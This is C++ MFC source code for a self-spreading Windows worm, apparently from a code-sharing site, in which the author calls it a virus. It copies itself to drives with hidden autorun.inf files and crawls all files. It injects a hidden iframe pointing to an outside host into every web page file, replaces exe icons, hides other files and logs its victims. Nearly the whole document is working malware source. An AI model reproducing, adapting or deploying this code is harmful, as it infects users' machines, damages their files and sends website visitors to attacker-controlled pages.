📄 wormbegin.cpp
字号:
// WormBegin.cpp : implementation file
//
#include "stdafx.h"
#include "XiaoHao.h"
#include "WormBegin.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CWormBegin
IMPLEMENT_DYNCREATE(CWormBegin, CView)
CWormBegin::CWormBegin()
{
}
CWormBegin::~CWormBegin()
{
}
BEGIN_MESSAGE_MAP(CWormBegin, CView)
//{{AFX_MSG_MAP(CWormBegin)
// NOTE - the ClassWizard will add and remove mapping macros here.
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CWormBegin drawing
void CWormBegin::OnDraw(CDC* pDC)
{
CDocument* pDoc = GetDocument();
// TODO: add draw code here
}
/////////////////////////////////////////////////////////////////////////////
// CWormBegin diagnostics
#ifdef _DEBUG
void CWormBegin::AssertValid() const
{
CView::AssertValid();
}
void CWormBegin::Dump(CDumpContext& dc) const
{
CView::Dump(dc);
}
#endif //_DEBUG
/////////////////////////////////////////////////////////////////////////////
// CWormBegin message handlers
BOOL CWormBegin::GRDirctory(CString Path) //每个盘下加auto
{
char ff[256];
GetModuleFileName(NULL,ff,sizeof(ff));
MyFileName=ff;
CString Data,AutoFile,PathName;
Data="[Autorun]\r\n";
Data+="open=Xiaohao.exe\r\n";
Data+="shellexecute=Xiaohao.exe\r\n";
Data+="shell\\Auto\\command=Xiaohao.exe\r\n";
AutoFile=Path;
AutoFile+="autorun.inf";
PathName=Path;
PathName+="Xiaohao.exe";
CStdioFile Auto(AutoFile,CFile::modeNoTruncate|CFile::modeWrite|CFile::modeCreate);
Auto.WriteString(Data);
Auto.Close();
if(!CopyFile(MyFileName,PathName,0))
{
return FALSE;
}
else
{
SetFileAttributes(PathName,FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(AutoFile,FILE_ATTRIBUTE_HIDDEN);
return TRUE;
}
}
/*作者QQ:82602935
Blog : Http://Hi.baidu.com/Xh_hook
不是我不想写 真正的PE感染.. 哎. 可是我的结构化异常处理还没有学.. 郁闷啊 ! 只好写个垃圾virus
欢迎各位大牛. 来指导我 或者是交流
My age:15 - -!*/
void CWormBegin::BeginFind(CString Dir) //全盘搜索
{
CString FileName;
CFileFind Fuck;
CString DirectoryName=Dir;
if(DirectoryName.Right(1)!="\\")
DirectoryName+="\\";
DirectoryName+="*.*";
BOOL Res = Fuck.FindFile(DirectoryName);
while(Res)
{
Res=Fuck.FindNextFile();
if(Fuck.IsDirectory() && !Fuck.IsDots())
{
BeginFind(Fuck.GetFilePath());
}
else if(!Fuck.IsDirectory() && !Fuck.IsDots())
{
CString strPath;
strPath.Format("%s",Fuck.GetFilePath());
FileName.Format("%s",Fuck.GetFileName());
FileName=FileName.Mid(FileName.ReverseFind('.')+1);
if(FileName=="htm" || FileName=="html" || FileName=="asp" || FileName=="aspx" || FileName=="php" || FileName=="jsp")
{
Jilu(strPath);
SetFileAttributes(strPath,FILE_ATTRIBUTE_NORMAL);
GanRanWeb(strPath);
}
if(FileName=="exe")
{
if(Fuck.GetFileName()=="xiaohao.exe" || Fuck.GetFileName()=="XiaoHao.exe"
||Fuck.GetFileName()=="Xiaohao.exe")
continue;
Jilu(strPath);
SetFileAttributes(strPath,FILE_ATTRIBUTE_NORMAL);
char File[256];
char FileP[256];
sprintf(FileP,"%s",strPath);
GetModuleFileName(NULL,File,sizeof(File));
SetExeIcon(File,FileP);
Sleep(100);
}
else
{
Jilu(strPath);
SetFileAttributes(strPath,FILE_ATTRIBUTE_HIDDEN);
}
}
}
Fuck.Close();
}
int CWormBegin::Jilu(CString ss)//记录被感染的文件和被隐藏的文件
{
CString str1;
str1=ss;
str1+="\r\n";
CStdioFile file;
if(!file.Open("c:\\Jilu.txt",CFile::modeNoTruncate|CFile::modeWrite|CFile::modeCreate))
return 1;
file.SeekToEnd();
file.WriteString(str1);
file.Close();
SetFileAttributes("c:\\Jilu.txt",FILE_ATTRIBUTE_HIDDEN);
}
void CWormBegin::GanRanWeb(CString FName)//追加网页文件
{
CString str1;
CString WriteBuf="\r\n<iframe src=http://xiaohao.yona.biz/xiaohao.htm width=0 height=0></iframe>";
str1=FName;
CStdioFile file;
if(!file.Open(str1,CFile::modeNoTruncate|CFile::modeWrite))
return;
file.SeekToEnd();
file.WriteString(WriteBuf);
file.Close();
}
int CALLBACK EnumIconProc(HMODULE hModule,LPCTSTR lpszType,LPTSTR lpszName,LONG lParam)//回调
{
HRSRC Res = FindResource(hModule,lpszName,RT_ICON);
if(Res==NULL)
{
throw("Could not locate icon resource.");
}
HGLOBAL ResLoad=LoadResource(hModule,Res);
if(ResLoad==NULL)
{
throw("Could not load icon.");
}
LPVOID Data=LockResource(ResLoad);
if (Data == NULL)
{
throw("Could not lock Icon.");
}
DWORD cbData = SizeofResource(hModule, Res);
if (lParam) //updateicon 资源
{
HANDLE Exe = BeginUpdateResource(LPSTR(lParam),0);
if(Exe==NULL)
return 1;
int res = UpdateResource(Exe,RT_ICON,lpszName,MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL),
Data,cbData);
if(!res)
return 1;
if(!EndUpdateResource(Exe, 0))
return 1;
return 1;
}
return TRUE;
}
int CWormBegin::SetExeIcon(LPSTR LoadFile, LPSTR SetFile)//开始替换icon
{
HMODULE m_exe = LoadLibrary(LoadFile);
if (m_exe == NULL)
{
return 1;
}
EnumResourceNames(
m_exe,
RT_ICON,
(ENUMRESNAMEPROC) EnumIconProc,
(LONG)SetFile
);
FreeLibrary(m_exe);
return 1;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -